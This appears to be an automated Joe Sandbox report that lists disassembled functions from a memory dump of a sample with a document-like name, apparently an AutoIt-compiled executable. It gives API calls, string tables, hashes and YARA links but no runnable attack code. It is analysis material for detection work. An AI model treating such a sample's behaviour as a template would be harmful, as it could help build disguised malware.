Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: e8bb9274adffbd7b72b7d5444c348375029d3668fe0f8d6de0e6f72e32c7f267
Instruction ID: f2087f1edeba90dbacefdb012addc65d1fe8c423e554641c903cc132cc952175
Opcode Fuzzy Hash: e8bb9274adffbd7b72b7d5444c348375029d3668fe0f8d6de0e6f72e32c7f267
Instruction Fuzzy Hash: 78A0243000050CF7CF001F71FC044447F5CD705151700C011F40C00131C7335C1145C5

Function 0073A937 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00736AE9,007C67D8,00000014), ref: 0073A937

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 23662ccb48c916790ca863418b0591523111506d63d44eafc70399de5a151ccc
Instruction ID: 7667f2e1d62c868cfb773455b6ed004a8a9c578401046af96127a27346d38153
Opcode Fuzzy Hash: 23662ccb48c916790ca863418b0591523111506d63d44eafc70399de5a151ccc
Instruction Fuzzy Hash: E9B012B13035024BD7084B38AC6421A3AE45749101342D03F7003C2560DB349810DF04

Function 00730EC4 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction ID: 70ec7a8712cb9a8e827453b76f7785613839992dd70050742b2df6a577ff67c0
Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction Fuzzy Hash: 1DC1A2722051A34AFF2D463AC43443FBFA15AA27B271A476DD4B3CB4C6EE28C564D660

Function 007312F9 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction ID: 15966f07e11b16cc6ff4171db01260c5ab18912d54bb9042702197c9f4b1652c
Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction Fuzzy Hash: 65C1C5722051A34AFF2D463AD43443FBFA15AA27B271A476DD4B3CB4C6EE28C524D660

Function 00730A8F Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 568e522d65938c55f651cc17963de7b0f490dcf489ad58bff2af44c6a36f3d0e
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 74C1C4722051A349FF2D4639943443FFEA15AA27B6B1A476DD4B3CB4C2EE2CC524D6A0

Function 00730677 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: b4d682297c6391f69e35546ebb500a88d67c4e0331fd4f7b9cde530fe7333ef5
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 6AC1D3722051A34AFF2D4639943453FFFA15EA27B270A476DD4B3CB4C6EE28D524C6A0

Function 0076A750 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 490filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0076A7A5
DeleteObject.GDI32(00000000), ref: 0076A7B7
DestroyWindow.USER32 ref: 0076A7C5
GetDesktopWindow.USER32 ref: 0076A7DF
GetWindowRect.USER32(00000000), ref: 0076A7E6
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 0076A927
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 0076A937
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0076A97F
GetClientRect.USER32(00000000,?), ref: 0076A98B
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0076A9C5
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0076A9E7
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0076A9FA
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0076AA05
GlobalLock.KERNEL32(00000000), ref: 0076AA0E
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0076AA1D
GlobalUnlock.KERNEL32(00000000), ref: 0076AA26
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0076AA2D
GlobalFree.KERNEL32(00000000), ref: 0076AA38
CreateStreamOnHGlobal.COMBASE(00000000,00000001,88C00000), ref: 0076AA4A
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,0079D9BC,00000000), ref: 0076AA60
GlobalFree.KERNEL32(00000000), ref: 0076AA70
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 0076AA96
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 0076AAB5
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0076AAD7
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0076ACC4

Strings

AutoIt v3, xrefs: 0076A977
DISPLAY, xrefs: 0076AB27
static, xrefs: 0076A9BF, 0076AB16
, xrefs: 0076AC4A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: fb067e24cf63860fff709958e17d70bc810a8fbe819735df831ef0bc97557974
Instruction ID: c8d903484bccaed83ea012983c476ef292b373c02dc3fcc1df680c89d55b42fa
Opcode Fuzzy Hash: fb067e24cf63860fff709958e17d70bc810a8fbe819735df831ef0bc97557974
Instruction Fuzzy Hash: 33028E71A00205FFDB14DFA8DD89EAE7BB9EB49310F048159F906AB2A1D7389D41CF64

Function 0077D095 Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0077D0EB
GetSysColorBrush.USER32(0000000F), ref: 0077D11C
GetSysColor.USER32(0000000F), ref: 0077D128
SetBkColor.GDI32(?,000000FF), ref: 0077D142
SelectObject.GDI32(?,00000000), ref: 0077D151
InflateRect.USER32(?,000000FF,000000FF), ref: 0077D17C
GetSysColor.USER32(00000010), ref: 0077D184
CreateSolidBrush.GDI32(00000000), ref: 0077D18B
FrameRect.USER32(?,?,00000000), ref: 0077D19A
DeleteObject.GDI32(00000000), ref: 0077D1A1
InflateRect.USER32(?,000000FE,000000FE), ref: 0077D1EC
FillRect.USER32(?,?,00000000), ref: 0077D21E
GetWindowLongW.USER32(?,000000F0), ref: 0077D249

Part of subcall function 0077D385: GetSysColor.USER32(00000012), ref: 0077D3BE
Part of subcall function 0077D385: SetTextColor.GDI32(?,?), ref: 0077D3C2
Part of subcall function 0077D385: GetSysColorBrush.USER32(0000000F), ref: 0077D3D8
Part of subcall function 0077D385: GetSysColor.USER32(0000000F), ref: 0077D3E3
Part of subcall function 0077D385: GetSysColor.USER32(00000011), ref: 0077D400
Part of subcall function 0077D385: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0077D40E
Part of subcall function 0077D385: SelectObject.GDI32(?,00000000), ref: 0077D41F
Part of subcall function 0077D385: SetBkColor.GDI32(?,00000000), ref: 0077D428
Part of subcall function 0077D385: SelectObject.GDI32(?,?), ref: 0077D435
Part of subcall function 0077D385: InflateRect.USER32(?,000000FF,000000FF), ref: 0077D454
Part of subcall function 0077D385: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0077D46B
Part of subcall function 0077D385: GetWindowLongW.USER32(00000000,000000F0), ref: 0077D480
Part of subcall function 0077D385: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0077D4A8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: c40ee3708e0155d35517c449aaabdad12f9f8e0932ad5348ba6bec3f1de6cc50
Instruction ID: 0cdab2ee3025fc6aa37c7e0ec78ce9f137303dfbedde383cceeffea52e65cc1b
Opcode Fuzzy Hash: c40ee3708e0155d35517c449aaabdad12f9f8e0932ad5348ba6bec3f1de6cc50
Instruction Fuzzy Hash: A591B172008305AFCB209F64DC08E6BBBB9FF85360F118A1AF566961E0D779DD42CB55

Function 0076A3F7 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 0076A42A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0076A4E9
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 0076A527
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 0076A539
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 0076A57F
GetClientRect.USER32(00000000,?), ref: 0076A58B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 0076A5CF
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 0076A5DE
GetStockObject.GDI32(00000011), ref: 0076A5EE
SelectObject.GDI32(00000000,00000000), ref: 0076A5F2
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 0076A602
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0076A60B
DeleteDC.GDI32(00000000), ref: 0076A614
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 0076A642
SendMessageW.USER32(00000030,00000000,00000001), ref: 0076A659
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 0076A694
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0076A6A8
SendMessageW.USER32(00000404,00000001,00000000), ref: 0076A6B9
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0076A6E9
GetStockObject.GDI32(00000011), ref: 0076A6F4
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 0076A6FF
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 0076A709

Strings

AutoIt v3, xrefs: 0076A577
DISPLAY, xrefs: 0076A5D4
static, xrefs: 0076A5C9, 0076A6E3
msctls_progress32, xrefs: 0076A68A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 4c803bb49ff08e723490bb34a2eab3f45b0422bb78963a02217e1d4cefe2ce2e
Instruction ID: 2d788bd6005e958233367a69d021a1ec27460b5e998b7626c443ff98fa65cdc1
Opcode Fuzzy Hash: 4c803bb49ff08e723490bb34a2eab3f45b0422bb78963a02217e1d4cefe2ce2e
Instruction Fuzzy Hash: 1EA19F71A40205BFEB14DBA8DC4AFAE7BB9EB04710F008115FA15A72E1DB78AD41CF64

Function 0075E44C Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0075E45E
GetDriveTypeW.KERNEL32(?,007ADC88,?,\\.\,007ADBF0), ref: 0075E54B
SetErrorMode.KERNEL32(00000000,007ADC88,?,\\.\,007ADBF0), ref: 0075E6B1

Strings

FileBackedVirtual, xrefs: 0075E67D
iSCSI, xrefs: 0075E653
USB, xrefs: 0075E645
ATAPI, xrefs: 0075E622
MMC, xrefs: 0075E66F
SSD, xrefs: 0075E5D8
Network, xrefs: 0075E589
SAS, xrefs: 0075E65A
SSA, xrefs: 0075E637
ATA, xrefs: 0075E629
RAMDisk, xrefs: 0075E575
SCSI, xrefs: 0075E61B
Virtual, xrefs: 0075E676
Removable, xrefs: 0075E59D
Fibre, xrefs: 0075E63E
1394, xrefs: 0075E630
RAID, xrefs: 0075E64C
PhysicalDrive, xrefs: 0075E4EF
\\.\, xrefs: 0075E4B3
SATA, xrefs: 0075E661
Fixed, xrefs: 0075E593
Unknown, xrefs: 0075E56B, 0075E614
CDROM, xrefs: 0075E57F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 7e25729e7efe3786e4b2707bf2b627cf0dc76641d057abe2c973eb8946e47b3c
Instruction ID: d3ce311815b57c8210fff2f12bb45e28c663560413cc08edf1a0027d70c2fa5e
Opcode Fuzzy Hash: 7e25729e7efe3786e4b2707bf2b627cf0dc76641d057abe2c973eb8946e47b3c
Instruction Fuzzy Hash: 5851E470248301EBC318DF18C895DEDB7D1EB94786B10C91DF846AB1D1DAACDF49D652

Function 0071C714 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 245COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0071C741
__wcsnicmp.LIBCMT ref: 0071C759
__wcsnicmp.LIBCMT ref: 0071C771
__wcsnicmp.LIBCMT ref: 0071C789
__wcsnicmp.LIBCMT ref: 0071C7A1
__wcsnicmp.LIBCMT ref: 0071C7B5
__wcsnicmp.LIBCMT ref: 0071C7C9
__wcsnicmp.LIBCMT ref: 0071C7E1
__wcsnicmp.LIBCMT ref: 0071C8B2
__wcsnicmp.LIBCMT ref: 0071C8C6
__wcsnicmp.LIBCMT ref: 0071C8DA
__wcsnicmp.LIBCMT ref: 0071C8EE

Strings

#include-once, xrefs: 0071C79B
#ce, xrefs: 0071C8E8
#requireadmin, xrefs: 0071C76B
#notrayicon, xrefs: 0071C753
#include, xrefs: 0071C7AF
#comments-start, xrefs: 0071C7C3, 0071C8AC
Unterminated group of comments, xrefs: 00783475
Bad directive syntax error, xrefs: 0078346D
Cannot parse #include, xrefs: 00783482
#pragma compile, xrefs: 0071C73B
#cs, xrefs: 0071C7DB, 0071C8C0
#OnAutoItStartRegister, xrefs: 0071C783
#comments-end, xrefs: 0071C8D4

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 6864c29d66d40736058140b9dd4e7f0cf5aff5c2887b3004f1a65d6a0f54f9a6
Instruction ID: 92838d5132e4ac5600b29339343f5bae81fcbd6b614ae3f0fdd08f9d97d523cd
Opcode Fuzzy Hash: 6864c29d66d40736058140b9dd4e7f0cf5aff5c2887b3004f1a65d6a0f54f9a6
Instruction Fuzzy Hash: 76610C71280251BBE732BAAC9C86FFA3358AF16740F140025F956A61C3EB9CDE91C661

Function 007148C8 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 491windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00714956
DeleteObject.GDI32(00000000), ref: 00714998
DeleteObject.GDI32(00000000), ref: 007149A3
DestroyCursor.USER32(00000000), ref: 007149AE
DestroyWindow.USER32(00000000), ref: 007149B9
SendMessageW.USER32(?,00001308,?,00000000), ref: 0078E179
6F570200.COMCTL32(?,000000FF,?), ref: 0078E1B2
MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 0078E5E0

Part of subcall function 007149CA: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00714954,00000000), ref: 00714A23

SendMessageW.USER32 ref: 0078E627
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0078E63E

Strings

0, xrefs: 0078E474

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: DestroyMessageSendWindow$DeleteObject$CursorF570200InvalidateMoveRect
String ID: 0
API String ID: 2008601239-4108050209
Opcode ID: 8e72f83cd81b867c88f10a6c81e0998c83af7dbedc957feaa0d58f54bd4133d4
Instruction ID: 5745613bea5bbe8ec58a548eace3107edea0b0b8901dc62eacbf8321e530b766
Opcode Fuzzy Hash: 8e72f83cd81b867c88f10a6c81e0998c83af7dbedc957feaa0d58f54bd4133d4
Instruction Fuzzy Hash: B912A130640642DFDB20DF18C888BAAB7F5BF45304F14456AF599CB292C739EC96CB91

Function 00776189 Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,007ADBF0), ref: 00776245

Strings

GETLINE, xrefs: 00776587
DELSTRING, xrefs: 00776365
FINDSTRING, xrefs: 00776392
GETCURRENTCOL, xrefs: 00776520
ISENABLED, xrefs: 00776288
SHOWDROPDOWN, xrefs: 007762FC
GETSELECTED, xrefs: 007764BD
UNCHECK, xrefs: 0077649D
ISCHECKED, xrefs: 00776455
ISVISIBLE, xrefs: 00776251
TABLEFT, xrefs: 007762A3
EDITPASTE, xrefs: 00776557
CURRENTTAB, xrefs: 007762D9
SENDCOMMANDID, xrefs: 007765C6
GETLINECOUNT, xrefs: 007764E0
SETCURRENTSELECTION, xrefs: 007763D2
CHECK, xrefs: 00776487
ADDSTRING, xrefs: 00776332
SELECTSTRING, xrefs: 00776422
GETCURRENTLINE, xrefs: 00776500
TABRIGHT, xrefs: 007762B9
HIDEDROPDOWN, xrefs: 0077631C
GETCURRENTSELECTION, xrefs: 007763FF

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
